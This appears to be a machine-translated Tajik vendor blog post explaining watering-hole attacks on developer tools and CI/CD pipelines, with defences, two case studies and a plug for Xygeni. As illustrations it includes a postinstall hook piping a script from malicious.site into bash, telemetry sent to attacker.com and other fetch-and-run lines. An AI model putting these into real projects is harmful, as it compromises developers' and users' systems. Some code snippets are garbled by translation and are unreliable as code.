Биное, ки дари қафоро сохт
Сохтмон мегузарад. Хизматрасонӣ ҷойгир мешавад. Ҳама чиз тоза ба назар мерасад. Аммо дар дохили он вобастагии заҳролуд пинҳон аст, ки аз манбаи осебдида гирифта шудааст. Ин ҳамлаи классикии сӯрохи обёрӣ аст.
Дар ин сенария, ҳамлагар ба инфрасохтори шумо ворид нашуд. Онҳо интизор буданд, ки таҳиягар ба манбаи боэътимод, сайти ҳуҷҷатҳо, анбори бастаҳо ё саҳифаи зеркашии SDK, ки аллакай онҳоро вайрон карда буд, ташриф орад. Коди зараровар ба шумо ворид шуд. pipeline бо фармони оддии "pull or install" иҷро кардан мумкин аст.
Пас аз фиристодани он, ҳамлагар дар истеҳсолот мавқеи хомӯшона пайдо мекунад. Ва шумо CI/CD pipeline танҳо ба онҳо дар расидан ба он ҷо кумак карданд.
Ҳамлаи сӯрохи обёрӣ чист (ва чаро таҳиягарон бояд ба он аҳамият диҳанд)
Пас, ҳамлаи "обхезӣ" чист? Ин вақте рух медиҳад, ки ҳамлагар захираеро, ки таҳиягарон ё дастаҳо аллакай ба он эътимод доранд, вайрон мекунад. Ба ҷои ҳадафгирии мустақими шумо, онҳо сайт ё анбори маъмулиро, ки эҳтимолан истифода мебаред, вайрон мекунанд ва интизор мешаванд, ки касе домро бигирад.
Ҳамлаҳои Watering hole аз фишинг, ки одатан эътимодномаҳоро ҳадаф қарор медиҳанд, ва аз ҳамлаҳои занҷираи таъминоти болоӣ, ки рамзи бад ба анбори асосии баста ворид мекунанд, фарқ мекунанд. Дар ин ҷо таҳдид аз экосистемаи атрофи шумо меояд: ҳуҷҷатҳое, ки дарҳои пуштибонӣ илова мекунанд, файлҳои дуӣ дар SDK, ки бо троянҳо иваз карда шудаанд ё феҳристҳои бастаҳо, ки версияҳои тағирёфтаро пешниҳод мекунанд.
Ва захираҳои таҳиякунанда ҳадафҳои асосӣ мебошанд: менеҷерҳои бастаҳо (npm, pip, Maven), анборҳои оммавии GitHub, тасвирҳои расмии Docker ва саҳифаҳои зеркашӣ. Агар яке аз инҳо осеб дида бошад, ҳамлагар аллакай дар дохили ҷараёни таҳиякунандаи шумост.
Ҷое, ки дом гузошта мешавад: Мисолҳои воқеии ба таҳиягар нигаронидашуда Ҳамлаҳои сӯрохи об
Ҳамлаҳо ба оби сӯрохи гуногун шакл мегиранд. Инҳоянд чанд роҳе, ки онҳо аз таҳиягарон мегузаранд:
- Сомонаи ҳуҷҷатҳои осебдида:
ворид кардани {init} аз 'malicious-lib';
init({телеметрия: 'https://attacker.com'}); }
Як мисоли қонунӣ дар ҳуҷҷатҳо ба таври нозук тағйир ёфт. Таҳиягарон нусхабардорӣ, часбондан ва идома доданро анҷом медиҳанд.
- Скрипти зараровари пас аз насб дар PR-и оммавӣ:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Ба назар чунин мерасад, ки як PR муфид аст, аммо он нармафзори зарароварро хомӯшона насб мекунад.
- Дунарии SDK-и троянӣ:
./sdk-install.sh # Боркунаки пинҳонии марҳилаи дуюмро дар бар мегирад
Файли дуӣ аз URL-и боэътимод зеркашӣ карда мешавад, аммо тағир дода мешавад. - Тасвири асосии Docker-и манипуляцияшуда:
FROM гиреҳ: slim-malicious - Иҷрои bash /tmp/hidden-installer.sh
Номи тасвир дуруст ба назар мерасад, аммо он дар феҳристи дуздидашуда ё қалбакӣ ҷойгир аст.
Ҳамаи ин ҳамлаҳо ба сӯрохи обгузар барои пешгирӣ аз ошкоркунӣ ба эътимоди таҳиягарон ва ҷараёнҳои кории босуръат такя мекунанд.
Аз ноутбук то PipelineЧӣ тавр сироят паҳн мешавад
Ҳамлаи сӯрохи обёрӣ танҳо дар браузер қатъ намешавад. Пас аз ворид шудани рамзи зараровар ба муҳити маҳаллӣ, он метавонад бесадо дар тамоми занҷири интиқоли шумо ҳаракат кунад:
- Таҳиягар ба захираи осебдида (ҳуҷҷатҳо, анбор, сайти SDK) ташриф меорад.
- Коди зараровар дар муҳити таҳиягари маҳаллӣ пайдо мешавад.
- Файлҳо ё вобастагиҳои сироятёфта ба a илова карда мешаванд commit ва тела дод.
- CI/CD Корҳо қадамҳои сохтан ва насбро бо истифода аз ин ҷузъҳои осебдида иҷро мекунанд.
- Артефакт фиристода ва ҷойгир карда мешавад ва рамзи ҳамлагарро дар истеҳсолот ҷойгир мекунад.
Ин занҷир метавонад дар тӯли соатҳо, бахусус дар дастаҳои баландсуръат, рушд кунад.
Барои тасаввур кардани ин, тасаввур кунед, ки а pipeline Диаграммае, ки роҳи сироятро пайгирӣ мекунад:
- Истгоҳи кории DevМуҳаррирон, терминалҳо, скриптҳои насб.
- Назорати манбаъ: Commitс, PR-ҳо, муттаҳидшавӣ.
- CI PipelineНасбҳои вобастагӣ, иҷрои скрипт, сохтани тасвирҳо.
- ИстеҳсолотБаровардани артефакт, ҷойгиркунӣ ва дастрасии корбар.
Дар ҳар як қадам, ҳамла ба чоҳи об метавонад бидуни чораҳои эҳтиётии дуруст нодида гирифта шавад.
Сенарияҳои хатари воқеӣ дар CI/CD
Ҳамлаҳои сӯрохи об танҳо ба мошинҳои таҳиякунанда намерасанд. Онҳо аз шумо истифода мебаранд pipeline бар зидди шумо. Хатарҳои воқеӣ инҳоянд:
- Тасвирҳои асосии осебдида:
Аз ФР ҳамлагар-registry.io/python:3.10-slim
Нармафзори зараровари пинҳонӣ ҳангоми сохтан илова карда шуд. - Гирифтани скриптҳо ё абзорҳои бепиндор:
curl -s https://pkg.example.com/latest.sh | bash
"Охирин" метавонад дар вақти дилхоҳ тағйир ёбад, хусусан агар DNS рабуда шуда бошад. - Гузоришҳои CI-и сироятёфта (мисол):
[+] Асбобҳоро насб мекунанд…
[+] Гирифтани маълумот аз https://tools.fakecdn.net/bootstrap.sh
[+] Сохтмон ба анҷом расид.
Дар зоҳир ҳама чиз хуб ба назар мерасад. Аммо бори муфид аллакай дар артефакт аст.
Ҳамлаҳо ба сӯрохи об чӣ қадар эътимодро сӯиистифода мекунанд CI/CD муҳитҳо дар манбаъҳо ва скриптҳои беруна ҷойгир карда мешаванд.
Шикастани Ҳамлаи сӯрохи обёрӣ Занҷир: Мудофиаҳои тарафи таҳиякунанда
Барои пешгирӣ кардани ҳамлаҳои обхезӣ барвақт, шумо бояд амалияҳои таҳияи худро тақвият диҳед. Пешгирии ҳамлаҳо бояд пеш аз ворид шудани код ба система оғоз шавад. CI/CD pipeline:
- Вобастагии PIN: Аз барчаспҳои шинокунанда ба монанди охиринБарои таъмини сохторҳои детерминистӣ, файлҳои lockfile-ро истифода баред.
- Санҷишҳои чекиро тасдиқ кунед: Ҳамаи скриптҳо, файлҳои дуӣ ва бастаҳои дурдастро тасдиқ кунед.
- Оинаҳои хусусиро истифода баредОина кардани феҳристҳои бастаҳои муҳим барои пешгирӣ аз таъсири манбаъҳои болооб.
- Тасвирҳои асосиро тасдиқ кунед: Аз дайҷестҳои тасвирҳо истифода баред (@sha256) ба ҷои барчаспҳо. Пеш аз истифода ҳамаи тасвирҳоро скан кунед.
- давидан SCA/SAST пеш аз якҷояшавӣБарои ошкор кардани таҳдидҳо барвақт, сканҳоро дар ҷараёни кории PR-и худ автоматӣ кунед.
- Git-ро истифода баред hooksТағйироти хавфи баландро пеш аз ворид шудан ба назорати версия муайян ва масдуд кунед.
- Муносибат рамзи тарафи сеюм мисли вуруди беэътимодҲатто китобхонаҳои васеъ истифодашаванда метавонанд хатарҳои пинҳон дошта бошанд.
Амният бояд дар ҷараёнҳои кории таҳиягарон ҷойгир карда шавад. Ин одатҳо ва идоракунӣ барои пешгирии ҳамлаҳо ба сӯрохиҳои обёрӣ пеш аз афзоиши онҳо кӯмак мекунанд.
Дарсҳо аз саҳро
Ҳолати 1: Ҷараёни рӯйдод (npm)
Як нигоҳдорандаи боэътимод назорати бастаи маъмулро интиқол дод. Нигоҳдорандаи нав вобастагиеро илова кард, ки пинҳонӣ маълумоти ҳамёни крипторо дуздид.
- Дар куҷо ноком шуд: Баррасии вобастагиҳои транзитӣ вуҷуд надорад.
- дарс: Истифодаи автоматӣ SCA пайгирӣ ва қайд кардани тағйирот дар вобастагиҳои ғайримустақим.
Ҳолати 2: Боргирандаи Codecov Bash
Ҳамлагар скрипти bash-ро, ки дар бисёр CI истифода мешавад, тағир дод pipelineс. Он асрорро аз муҳитҳои CI берун овард.
- Дар куҷо ноком шуд: Тасдиқи чек-сум вуҷуд надорад.
- дарс: Ҳамеша абзорҳои зеркашишударо пеш аз кор андохтани онҳо тафтиш кунед CI/CD.
Ҳарду ҳамлаҳои пурқувват буданд. Ҳардуро метавонист пештар қатъ кард.
Пешгирӣ дар амал: тарзи фикрронӣ ва абзорсозии DevSecOps
Пешгирии ҳамлаҳо ба сӯрохи обёрӣ маънои ташаккули фарҳанги таҳиягарони огоҳ аз амниятро дорад:
- Амниятро ба чап гузаронедТаҳиягаронро омӯзонед, то скриптҳои ғайричашмдошт, тағйироти вобастагӣ ё қадамҳои насбро зери суол баранд.
- Automate SCA/SAST: Истифода баред асбобҳои ки ба ҷараёнҳои кории PR барои пешгирӣ кардани осебпазириҳои маълум ва нақшаҳои хатарнок муттаҳид мешаванд.
- Дар ҳама ҷо тасдиқи ҳэшро истифода баредПеш аз иҷро, ҳама гуна захираи беруна бояд тасдиқ карда шавад.
- Мониторинг дар вақти воқеӣ: Танҳо пешгирӣ кофӣ нест.
Воситаҳои монанди Ксигенӣ Дар тамоми занҷираи таъминоти нармафзори шумо намоёнии вақти воқеиро пешниҳод мекунад. Xygeni пайваста муҳити таҳиягар, фаъолияти Git ва CI-ро назорат мекунад. pipelineс, ва феҳристҳои артефактҳо барои муайян кардан:
- Тағйироти ғайримуқаррарии вобастагӣ.
- Тағйироти шубҳанок дар скриптҳои сохтмон.
- Намунаҳои ғайриоддии дастрасӣ ба манбаъҳои тарафи сеюм.
Бо Xygeni, дастаҳо метавонанд таҳдидҳоеро, ки тавассути ҳамлаҳои обхезӣ ворид мешаванд, пеш аз паҳншавӣ пешгирӣ кунанд ва манбаи созишро дар сурати аз байн рафтани яке аз онҳо пайгирӣ кунанд. Он махсус барои муосир сохта шудааст. CI/CD муҳитҳо, бо тамаркуз ба огоҳиҳои амалӣ ва қобилияти истифода аз ҷониби таҳиягар дар ҷои аввал.
Шарҳи ниҳоӣ: Зуд Pipelineс, Хатарҳои зудтар
Акнун, ки шумо медонед ҳамла ба сӯрохи обёрӣ чист Шумо медонед, ки онҳо набояд мустақиман ба инфрасохтори шумо ворид шаванд. Онҳо бо заҳролуд кардани абзорҳо ва таҳиягарони сайтҳое, ки аллакай ба онҳо эътимод доранд, муваффақ мешаванд. Аз он ҷо, шумо CI/CD pipeline метавонад ба системаи паҳнкунии ҳамлагар табдил ёбад.
Хатари воқеӣ на танҳо созиш аст, балки он аст, ки рамзи зараровар чӣ қадар зуд аз сайти шумо мегузарад. pipeline.
Санҷишҳои амниятиро ба ҷараёни таҳиягарони худ ворид кунед, на ҳамчун як фикри баъдӣ. Зеро вақте ки он фиристода мешавад, аллакай дер мешавад.







